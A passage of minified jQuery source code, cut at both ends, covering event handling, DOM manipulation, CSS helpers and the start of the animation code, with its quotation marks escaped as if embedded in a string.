b=a.target;Y.test(b.nodeName)&&!n._data(b,\"changeBubbles\")&&(n.event.add(b,\"change._change\",function(a){!this.parentNode||a.isSimulated||a.isTrigger||n.event.simulate(\"change\",this.parentNode,a,!0)}),n._data(b,\"changeBubbles\",!0))})},handle:function(a){var b=a.target;return this!==b||a.isSimulated||a.isTrigger||\"radio\"!==b.type&&\"checkbox\"!==b.type?a.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return n.event.remove(this,\"._change\"),!Y.test(this.nodeName)}}),l.focusinBubbles||n.each({focus:\"focusin\",blur:\"focusout\"},function(a,b){var c=function(a){n.event.simulate(b,a.target,n.event.fix(a),!0)};n.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=n._data(d,b);e||d.addEventListener(a,c,!0),n._data(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=n._data(d,b)-1;e?n._data(d,b,e):(d.removeEventListener(a,c,!0),n._removeData(d,b))}}}),n.fn.extend({on:function(a,b,c,d,e){var f,g;if(\"object\"==typeof a){\"string\"!=typeof b&&(c=c||b,b=void 0);for(f in a)this.on(f,b,c,a[f],e);return this}if(null==c&&null==d?(d=b,c=b=void 0):null==d&&(\"string\"==typeof b?(d=c,c=void 0):(d=c,c=b,b=void 0)),d===!1)d=cb;else if(!d)return this;return 1===e&&(g=d,d=function(a){return n().off(a),g.apply(this,arguments)},d.guid=g.guid||(g.guid=n.guid++)),this.each(function(){n.event.add(this,a,d,c,b)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,n(a.delegateTarget).off(d.namespace?d.origType+\".\"+d.namespace:d.origType,d.selector,d.handler),this;if(\"object\"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return(b===!1||\"function\"==typeof b)&&(c=b,b=void 0),c===!1&&(c=cb),this.each(function(){n.event.remove(this,a,c,b)})},trigger:function(a,b){return this.each(function(){n.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];return c?n.event.trigger(a,b,c,!0):void 0}});function eb(a){var b=fb.split(\"|\"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}var fb=\"abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video\",gb=/ jQuery\\d+=\"(?:null|\\d+)\"/g,hb=new RegExp(\"<(?:\"+fb+\")[\\\\s/>]\",\"i\"),ib=/^\\s+/,jb=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/gi,kb=/<([\\w:]+)/,lb=/<tbody/i,mb=/<|&#?\\w+;/,nb=/<(?:script|style|link)/i,ob=/checked\\s*(?:[^=]|=\\s*.checked.)/i,pb=/^$|\\/(?:java|ecma)script/i,qb=/^true\\/(.*)/,rb=/^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g,sb={option:[1,\"<select multiple='multiple'>\",\"</select>\"],legend:[1,\"<fieldset>\",\"</fieldset>\"],area:[1,\"<map>\",\"</map>\"],param:[1,\"<object>\",\"</object>\"],thead:[1,\"<table>\",\"</table>\"],tr:[2,\"<table><tbody>\",\"</tbody></table>\"],col:[2,\"<table><tbody></tbody><colgroup>\",\"</colgroup></table>\"],td:[3,\"<table><tbody><tr>\",\"</tr></tbody></table>\"],_default:l.htmlSerialize?[0,\"\",\"\"]:[1,\"X<div>\",\"</div>\"]},tb=eb(z),ub=tb.appendChild(z.createElement(\"div\"));sb.optgroup=sb.option,sb.tbody=sb.tfoot=sb.colgroup=sb.caption=sb.thead,sb.th=sb.td;function vb(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==L?a.getElementsByTagName(b||\"*\"):typeof a.querySelectorAll!==L?a.querySelectorAll(b||\"*\"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||n.nodeName(d,b)?f.push(d):n.merge(f,vb(d,b));return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function wb(a){X.test(a.type)&&(a.defaultChecked=a.checked)}function xb(a,b){return n.nodeName(a,\"table\")&&n.nodeName(11!==b.nodeType?b:b.firstChild,\"tr\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function yb(a){return a.type=(null!==n.find.attr(a,\"type\"))+\"/\"+a.type,a}function zb(a){var b=qb.exec(a.type);return b?a.type=b[1]:a.removeAttribute(\"type\"),a}function Ab(a,b){for(var c,d=0;null!=(c=a[d]);d++)n._data(c,\"globalEval\",!b||n._data(b[d],\"globalEval\"))}function Bb(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)n.event.add(b,c,h[c][d])}g.data&&(g.data=n.extend({},g.data))}}function Cb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in e.events)n.removeEvent(b,d,e.handle);b.removeAttribute(n.expando)}\"script\"===c&&b.text!==a.text?(yb(b).text=a.text,zb(b)):\"object\"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):\"input\"===c&&X.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):\"option\"===c?b.defaultSelected=b.selected=a.defaultSelected:(\"input\"===c||\"textarea\"===c)&&(b.defaultValue=a.defaultValue)}}n.extend({clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!hb.test(\"<\"+a.nodeName+\">\")?f=a.cloneNode(!0):(ub.innerHTML=a.outerHTML,ub.removeChild(f=ub.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(d=vb(f),h=vb(a),g=0;null!=(e=h[g]);++g)d[g]&&Cb(e,d[g]);if(b)if(c)for(h=h||vb(a),d=d||vb(f),g=0;null!=(e=h[g]);g++)Bb(e,d[g]);else Bb(a,f);return d=vb(f,\"script\"),d.length>0&&Ab(d,!i&&vb(a,\"script\")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k,m=a.length,o=eb(b),p=[],q=0;m>q;q++)if(f=a[q],f||0===f)if(\"object\"===n.type(f))n.merge(p,f.nodeType?[f]:f);else if(mb.test(f)){h=h||o.appendChild(b.createElement(\"div\")),i=(kb.exec(f)||[\"\",\"\"])[1].toLowerCase(),k=sb[i]||sb._default,h.innerHTML=k[1]+f.replace(jb,\"<$1></$2>\")+k[2],e=k[0];while(e--)h=h.lastChild;if(!l.leadingWhitespace&&ib.test(f)&&p.push(b.createTextNode(ib.exec(f)[0])),!l.tbody){f=\"table\"!==i||lb.test(f)?\"<table>\"!==k[1]||lb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--)n.nodeName(j=f.childNodes[e],\"tbody\")&&!j.childNodes.length&&f.removeChild(j)}n.merge(p,h.childNodes),h.textContent=\"\";while(h.firstChild)h.removeChild(h.firstChild);h=o.lastChild}else p.push(b.createTextNode(f));h&&o.removeChild(h),l.appendChecked||n.grep(vb(p,\"input\"),wb),q=0;while(f=p[q++])if((!d||-1===n.inArray(f,d))&&(g=n.contains(f.ownerDocument,f),h=vb(o.appendChild(f),\"script\"),g&&Ab(h),c)){e=0;while(f=h[e++])pb.test(f.type||\"\")&&c.push(f)}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.deleteExpando,m=n.event.special;null!=(d=a[h]);h++)if((b||n.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events)for(e in g.events)m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle);j[f]&&(delete j[f],k?delete d[i]:typeof d.removeAttribute!==L?d.removeAttribute(i):d[i]=null,c.push(f))}}}),n.fn.extend({text:function(a){return W(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||z).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(vb(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&Ab(vb(c,\"script\")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(vb(a,!1));while(a.firstChild)a.removeChild(a.firstChild);a.options&&n.nodeName(a,\"select\")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return W(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a)return 1===b.nodeType?b.innerHTML.replace(gb,\"\"):void 0;if(!(\"string\"!=typeof a||nb.test(a)||!l.htmlSerialize&&hb.test(a)||!l.leadingWhitespace&&ib.test(a)||sb[(kb.exec(a)||[\"\",\"\"])[1].toLowerCase()])){a=a.replace(jb,\"<$1></$2>\");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(vb(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(vb(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,k=this.length,m=this,o=k-1,p=a[0],q=n.isFunction(p);if(q||k>1&&\"string\"==typeof p&&!l.checkClone&&ob.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(k&&(i=n.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=n.map(vb(i,\"script\"),yb),f=g.length;k>j;j++)d=i,j!==o&&(d=n.clone(d,!0,!0),f&&n.merge(g,vb(d,\"script\"))),b.call(this[j],d,j);if(f)for(h=g[g.length-1].ownerDocument,n.map(g,zb),j=0;f>j;j++)d=g[j],pb.test(d.type||\"\")&&!n._data(d,\"globalEval\")&&n.contains(h,d)&&(d.src?n._evalUrl&&n._evalUrl(d.src):n.globalEval((d.text||d.textContent||d.innerHTML||\"\").replace(rb,\"\")));i=c=null}return this}}),n.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],g=n(a),h=g.length-1;h>=d;d++)c=d===h?this:this.clone(!0),n(g[d])[b](c),f.apply(e,c.get());return this.pushStack(e)}});var Db,Eb={};function Fb(b,c){var d=n(c.createElement(b)).appendTo(c.body),e=a.getDefaultComputedStyle?a.getDefaultComputedStyle(d[0]).display:n.css(d[0],\"display\");return d.detach(),e}function Gb(a){var b=z,c=Eb[a];return c||(c=Fb(a,b),\"none\"!==c&&c||(Db=(Db||n(\"<iframe frameborder='0' width='0' height='0'/>\")).appendTo(b.documentElement),b=(Db[0].contentWindow||Db[0].contentDocument).document,b.write(),b.close(),c=Fb(a,b),Db.detach()),Eb[a]=c),c}!function(){var a,b,c=z.createElement(\"div\"),d=\"-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;padding:0;margin:0;border:0\";c.innerHTML=\" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\",a=c.getElementsByTagName(\"a\")[0],a.style.cssText=\"float:left;opacity:.5\",l.opacity=/^0.5/.test(a.style.opacity),l.cssFloat=!!a.style.cssFloat,c.style.backgroundClip=\"content-box\",c.cloneNode(!0).style.backgroundClip=\"\",l.clearCloneStyle=\"content-box\"===c.style.backgroundClip,a=c=null,l.shrinkWrapBlocks=function(){var a,c,e,f;if(null==b){if(a=z.getElementsByTagName(\"body\")[0],!a)return;f=\"border:0;width:0;height:0;position:absolute;top:0;left:-9999px\",c=z.createElement(\"div\"),e=z.createElement(\"div\"),a.appendChild(c).appendChild(e),b=!1,typeof e.style.zoom!==L&&(e.style.cssText=d+\";width:1px;padding:1px;zoom:1\",e.innerHTML=\"<div></div>\",e.firstChild.style.width=\"5px\",b=3!==e.offsetWidth),a.removeChild(c),a=c=e=null}return b}}();var Hb=/^margin/,Ib=new RegExp(\"^(\"+T+\")(?!px)[a-z%]+$\",\"i\"),Jb,Kb,Lb=/^(top|right|bottom|left)$/;a.getComputedStyle?(Jb=function(a){return a.ownerDocument.defaultView.getComputedStyle(a,null)},Kb=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Jb(a),g=c?c.getPropertyValue(b)||c[b]:void 0,c&&(\"\"!==g||n.contains(a.ownerDocument,a)||(g=n.style(a,b)),Ib.test(g)&&Hb.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0===g?g:g+\"\"}):z.documentElement.currentStyle&&(Jb=function(a){return a.currentStyle},Kb=function(a,b,c){var d,e,f,g,h=a.style;return c=c||Jb(a),g=c?c[b]:void 0,null==g&&h&&h[b]&&(g=h[b]),Ib.test(g)&&!Lb.test(b)&&(d=h.left,e=a.runtimeStyle,f=e&&e.left,f&&(e.left=a.currentStyle.left),h.left=\"fontSize\"===b?\"1em\":g,g=h.pixelLeft+\"px\",h.left=d,f&&(e.left=f)),void 0===g?g:g+\"\"||\"auto\"});function Mb(a,b){return{get:function(){var c=a();if(null!=c)return c?void delete this.get:(this.get=b).apply(this,arguments)}}}!function(){var b,c,d,e,f,g,h=z.createElement(\"div\"),i=\"border:0;width:0;height:0;position:absolute;top:0;left:-9999px\",j=\"-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;padding:0;margin:0;border:0\";h.innerHTML=\" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\",b=h.getElementsByTagName(\"a\")[0],b.style.cssText=\"float:left;opacity:.5\",l.opacity=/^0.5/.test(b.style.opacity),l.cssFloat=!!b.style.cssFloat,h.style.backgroundClip=\"content-box\",h.cloneNode(!0).style.backgroundClip=\"\",l.clearCloneStyle=\"content-box\"===h.style.backgroundClip,b=h=null,n.extend(l,{reliableHiddenOffsets:function(){if(null!=c)return c;var a,b,d,e=z.createElement(\"div\"),f=z.getElementsByTagName(\"body\")[0];if(f)return e.setAttribute(\"className\",\"t\"),e.innerHTML=\" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>\",a=z.createElement(\"div\"),a.style.cssText=i,f.appendChild(a).appendChild(e),e.innerHTML=\"<table><tr><td></td><td>t</td></tr></table>\",b=e.getElementsByTagName(\"td\"),b[0].style.cssText=\"padding:0;margin:0;border:0;display:none\",d=0===b[0].offsetHeight,b[0].style.display=\"\",b[1].style.display=\"none\",c=d&&0===b[0].offsetHeight,f.removeChild(a),e=f=null,c},boxSizing:function(){return null==d&&k(),d},boxSizingReliable:function(){return null==e&&k(),e},pixelPosition:function(){return null==f&&k(),f},reliableMarginRight:function(){var b,c,d,e;if(null==g&&a.getComputedStyle){if(b=z.getElementsByTagName(\"body\")[0],!b)return;c=z.createElement(\"div\"),d=z.createElement(\"div\"),c.style.cssText=i,b.appendChild(c).appendChild(d),e=d.appendChild(z.createElement(\"div\")),e.style.cssText=d.style.cssText=j,e.style.marginRight=e.style.width=\"0\",d.style.width=\"1px\",g=!parseFloat((a.getComputedStyle(e,null)||{}).marginRight),b.removeChild(c)}return g}});function k(){var b,c,h=z.getElementsByTagName(\"body\")[0];h&&(b=z.createElement(\"div\"),c=z.createElement(\"div\"),b.style.cssText=i,h.appendChild(b).appendChild(c),c.style.cssText=\"-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;position:absolute;display:block;padding:1px;border:1px;width:4px;margin-top:1%;top:1%\",n.swap(h,null!=h.style.zoom?{zoom:1}:{},function(){d=4===c.offsetWidth}),e=!0,f=!1,g=!0,a.getComputedStyle&&(f=\"1%\"!==(a.getComputedStyle(c,null)||{}).top,e=\"4px\"===(a.getComputedStyle(c,null)||{width:\"4px\"}).width),h.removeChild(b),c=h=null)}}(),n.swap=function(a,b,c,d){var e,f,g={};for(f in b)g[f]=a.style[f],a.style[f]=b[f];e=c.apply(a,d||[]);for(f in b)a.style[f]=g[f];return e};var Nb=/alpha\\([^)]*\\)/i,Ob=/opacity\\s*=\\s*([^)]*)/,Pb=/^(none|table(?!-c[ea]).+)/,Qb=new RegExp(\"^(\"+T+\")(.*)$\",\"i\"),Rb=new RegExp(\"^([+-])=(\"+T+\")\",\"i\"),Sb={position:\"absolute\",visibility:\"hidden\",display:\"block\"},Tb={letterSpacing:0,fontWeight:400},Ub=[\"Webkit\",\"O\",\"Moz\",\"ms\"];function Vb(a,b){if(b in a)return b;var c=b.charAt(0).toUpperCase()+b.slice(1),d=b,e=Ub.length;while(e--)if(b=Ub[e]+c,b in a)return b;return d}function Wb(a,b){for(var c,d,e,f=[],g=0,h=a.length;h>g;g++)d=a[g],d.style&&(f[g]=n._data(d,\"olddisplay\"),c=d.style.display,b?(f[g]||\"none\"!==c||(d.style.display=\"\"),\"\"===d.style.display&&V(d)&&(f[g]=n._data(d,\"olddisplay\",Gb(d.nodeName)))):f[g]||(e=V(d),(c&&\"none\"!==c||!e)&&n._data(d,\"olddisplay\",e?c:n.css(d,\"display\"))));for(g=0;h>g;g++)d=a[g],d.style&&(b&&\"none\"!==d.style.display&&\"\"!==d.style.display||(d.style.display=b?f[g]||\"\":\"none\"));return a}function Xb(a,b,c){var d=Qb.exec(b);return d?Math.max(0,d[1]-(c||0))+(d[2]||\"px\"):b}function Yb(a,b,c,d,e){for(var f=c===(d?\"border\":\"content\")?4:\"width\"===b?1:0,g=0;4>f;f+=2)\"margin\"===c&&(g+=n.css(a,c+U[f],!0,e)),d?(\"content\"===c&&(g-=n.css(a,\"padding\"+U[f],!0,e)),\"margin\"!==c&&(g-=n.css(a,\"border\"+U[f]+\"Width\",!0,e))):(g+=n.css(a,\"padding\"+U[f],!0,e),\"padding\"!==c&&(g+=n.css(a,\"border\"+U[f]+\"Width\",!0,e)));return g}function Zb(a,b,c){var d=!0,e=\"width\"===b?a.offsetWidth:a.offsetHeight,f=Jb(a),g=l.boxSizing()&&\"border-box\"===n.css(a,\"boxSizing\",!1,f);if(0>=e||null==e){if(e=Kb(a,b,f),(0>e||null==e)&&(e=a.style[b]),Ib.test(e))return e;d=g&&(l.boxSizingReliable()||e===a.style[b]),e=parseFloat(e)||0}return e+Yb(a,b,c||(g?\"border\":\"content\"),d,f)+\"px\"}n.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Kb(a,\"opacity\");return\"\"===c?\"1\":c}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{\"float\":l.cssFloat?\"cssFloat\":\"styleFloat\"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=n.camelCase(b),i=a.style;if(b=n.cssProps[h]||(n.cssProps[h]=Vb(i,h)),g=n.cssHooks[b]||n.cssHooks[h],void 0===c)return g&&\"get\"in g&&void 0!==(e=g.get(a,!1,d))?e:i[b];if(f=typeof c,\"string\"===f&&(e=Rb.exec(c))&&(c=(e[1]+1)*e[2]+parseFloat(n.css(a,b)),f=\"number\"),null!=c&&c===c&&(\"number\"!==f||n.cssNumber[h]||(c+=\"px\"),l.clearCloneStyle||\"\"!==c||0!==b.indexOf(\"background\")||(i[b]=\"inherit\"),!(g&&\"set\"in g&&void 0===(c=g.set(a,c,d)))))try{i[b]=\"\",i[b]=c}catch(j){}}},css:function(a,b,c,d){var e,f,g,h=n.camelCase(b);return b=n.cssProps[h]||(n.cssProps[h]=Vb(a.style,h)),g=n.cssHooks[b]||n.cssHooks[h],g&&\"get\"in g&&(f=g.get(a,!0,c)),void 0===f&&(f=Kb(a,b,d)),\"normal\"===f&&b in Tb&&(f=Tb[b]),\"\"===c||c?(e=parseFloat(f),c===!0||n.isNumeric(e)?e||0:f):f}}),n.each([\"height\",\"width\"],function(a,b){n.cssHooks[b]={get:function(a,c,d){return c?0===a.offsetWidth&&Pb.test(n.css(a,\"display\"))?n.swap(a,Sb,function(){return Zb(a,b,d)}):Zb(a,b,d):void 0},set:function(a,c,d){var e=d&&Jb(a);return Xb(a,c,d?Yb(a,b,d,l.boxSizing()&&\"border-box\"===n.css(a,\"boxSizing\",!1,e),e):0)}}}),l.opacity||(n.cssHooks.opacity={get:function(a,b){return Ob.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||\"\")?.01*parseFloat(RegExp.$1)+\"\":b?\"1\":\"\"},set:function(a,b){var c=a.style,d=a.currentStyle,e=n.isNumeric(b)?\"alpha(opacity=\"+100*b+\")\":\"\",f=d&&d.filter||c.filter||\"\";c.zoom=1,(b>=1||\"\"===b)&&\"\"===n.trim(f.replace(Nb,\"\"))&&c.removeAttribute&&(c.removeAttribute(\"filter\"),\"\"===b||d&&!d.filter)||(c.filter=Nb.test(f)?f.replace(Nb,e):f+\" \"+e)}}),n.cssHooks.marginRight=Mb(l.reliableMarginRight,function(a,b){return b?n.swap(a,{display:\"inline-block\"},Kb,[a,\"marginRight\"]):void 0}),n.each({margin:\"\",padding:\"\",border:\"Width\"},function(a,b){n.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f=\"string\"==typeof c?c.split(\" \"):[c];4>d;d++)e[a+U[d]+b]=f[d]||f[d-2]||f[0];return e}},Hb.test(a)||(n.cssHooks[a+b].set=Xb)}),n.fn.extend({css:function(a,b){return W(this,function(a,b,c){var d,e,f={},g=0;if(n.isArray(b)){for(d=Jb(a),e=b.length;e>g;g++)f[b[g]]=n.css(a,b[g],!1,d);return f}return void 0!==c?n.style(a,b,c):n.css(a,b)},a,b,arguments.length>1)},show:function(){return Wb(this,!0)},hide:function(){return Wb(this)},toggle:function(a){return\"boolean\"==typeof a?a?this.show():this.hide():this.each(function(){V(this)?n(this).show():n(this).hide()})}});function $b(a,b,c,d,e){return new $b.prototype.init(a,b,c,d,e)}n.Tween=$b,$b.prototype={constructor:$b,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||\"swing\",this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(n.cssNumber[c]?\"\":\"px\")},cur:function(){var a=$b.propHooks[this.prop];return a&&a.get?a.get(this):$b.propHooks._default.get(this)},run:function(a){var b,c=$b.propHooks[this.prop];return this.pos=b=this.options.duration?n.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):$b.propHooks._default.set(this),this}},$b.prototype.init.prototype=$b.prototype,$b.propHooks={_default:{get:function(a){var b;return null==a.elem[a.prop]||a.elem.style&&null!=a.elem.style[a.prop]?(b=n.css(a.elem,a.prop,\"\"),b&&\"auto\"!==b?b:0):a.elem[a.prop]},set:function(a){n.fx.step[a.prop]?n.fx.step[a.prop](a):a.elem.style&&(null!=a.elem.style[n.cssProps[a.prop]]||n.cssHooks[a.prop])?n.style(a.elem,a.prop,a.now+a.unit):a.elem[a.prop]=a.now}}},$b.propHooks.scrollTop=$b.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},n.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2}},n.fx=$b.prototype.init,n.fx.step={};var _b,ac,bc=/^(?:toggle|show|hide)$/,cc=new RegExp(\"^(?:([+-])=|)(\"+T+\")([a-z%]*)$\",\"i\"),dc=/queueHooks$/,ec=[jc],fc={\"*\":[function(a,b){var c=this.createTween(a,b),d=c.cur(),e=cc.exec(b),f=e&&e[3]||(n.cssNumber[a]?\"\":\"px\"),g=(n.cssNumber[a]||\"px\"!==f&&+d)&&cc.exec(n.css(c.elem,a)),h=1,i=20;if(g&&g[3]!==f){f=f||g[3],e=e||[],g=+d||1;do h=h||\".5\",g/=h,n.style(c.elem,a,g+f);while(h!==(h=c.cur()/d)&&1!==h&&--i)}return e&&(g=c.start=+g||+d||0,c.unit=f,c.end=e[1]?g+(e[1]+1)*e[2]:+e[2]),c}]};function gc(){return setTimeout(function(){_b=void 0}),_b=n.now()}function hc(a,b){var c,d={height:a},e=0;for(b=b?1:0;4>e;e+=2-b)c=U[e],d[\"margin\"+c]=d[\"padding\"+c]=a;return b&&(d.opacity=d.width=a),d}function ic(a,b,c){for(var d,e=(fc[b]||[]).concat(fc[\"*\"]),f=0,g=e.length;g>f;f++)if(d=e[f].call(c,b,a))return d}function jc(a,b,c){var d,e,f,g,h,i,j,k,m=this,o={},p=a.style,q=a.nodeType&&V(a),r=n._data(a,\"fxshow\");c.queue||(h=n._queueHooks(a,\"fx\"),null==h.unqueued&&(h.unqueued=0,i=h.empty.fire,h.empty.fire=function(){h.unqueued||i()}),h.unqueued++,m.always(function(){m.always(function(){h.unqueued--,n.queue(a,\"fx\").length||h.empty.fire()})})),1===a.nodeType&&(\"height\"in b||\"width\"in b)&&(c.overflow=[p.overflow,p.overflowX,p.overflowY],j=n.css(a,\"display\"),k=Gb(a.nodeName),\"none\"===j&&(j=k),\"inline\"===j&&\"none\"===n.css(a,\"float\")&&(l.inlineBlockNeedsLayout&&\"inline\"!==k?p.zoom=1:p.display=\"inline-block\")),c.overflow&&(p.overflow=\"hidden\",l.shrinkWrapBlocks()||m.always(function(){p.overflow=c.overflow[0],p.overflowX=c.overflow[1],p.overflowY=c.overflow[2]}));for(d in b)if(e=b[d],bc.exec(e)){if(delete b[d],f=f||\"toggle\"===e,e===(q?\"hide\":\"show\")){if(\"show\"!==e||!r||void 0===r[d])continue;q=!0}o[d]=r&&r[d]||n.style(a,d)}if(!n.isEmptyObject(o)){r?\"hidden\"in r&&(q=r.hidden):r=n._data(a,\"fxshow\",{}),f&&(r.hidden=!q),q?n(a).show():m.done(function(){n(a).hide()}),m.done(function(){var b;n._removeData(a,\"fxshow\");for(b in o)n.style(a,b,o[b])});for(d in o)g=ic(q?r[d]:0,d,m),d in r||(r[d]=g.start,q&&(g.end=g.start,g.start=\"width\"===d||\"height\"===d?1:0))}}function kc(a,b){var c,d,e,f,g;for(c in a)if(d=n.camelCase(c),e=b[d],f=a[c],n.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=n.cssHooks[d],g&&\"expand\"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function lc(a,b,c){var d,e,f=0,g=ec.length,h=n.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=_b||gc(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;i>g;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),1>f&&i?c:(h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:n.extend({},b),opts:n.extend(!0,{specialEasing:{}},c),originalProperties:b,originalOptions:c,startTime:_b||gc(),duration:c.duration,tweens:[],createTween:function(b,c){var d=n.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;d>c;c++)j.tweens[c].run(1);return b?h.resolveWith(a,[j,b]):h.rejectWith(a,[j,b]),this}}),k=j.props;for(kc(k,j.opts.specialEasing);g>f;f++)if(d=ec[f].call(j,a,k,j.opts))return d;return n.map(k,ic,j),n.isFunction(j.opts.start)&&j.opts.start.call(a,j),n.fx.timer(n.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always)}n.Animation=n.extend(lc,{tweener:function(a,b){n.isFunction(a)?(b=a,a=[\"*\"]):a=a.split(\" \");for(var c,d=0,e=a.length;e>d;d++)c=a[d],fc[c]=fc[c]||[],fc[c].unshift(b)},prefilter:function(a,b){b?ec.unshift(a):ec.push(a)}}),n.speed=function(a,b,c){var d=a&&\"object\"==typeof a?n.extend({},a):{complete:c||!c&&b||n.isFunction(a)&&a,duration:a,easing:c&&b||b&&!n.isFunction(b)&&b};return d.duration=n.fx.off?0:\"number\"==typeof d.duration?d.duration:d.duration in n.fx.speeds?n.fx.speeds[d.duration]:n.fx.speeds._default,(null==d.queue||d.queue===!0)&&(d.queue=\"fx\"),d.old=d.complete,d.complete=function(){n.isFunction(d.old)&&d.old.call(this),d.queue&&n.dequeue(this,d.queue)},d},n.fn.extend({fadeTo:function(a,b,c,d){return this.filter(V).css(\"opacity\",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var 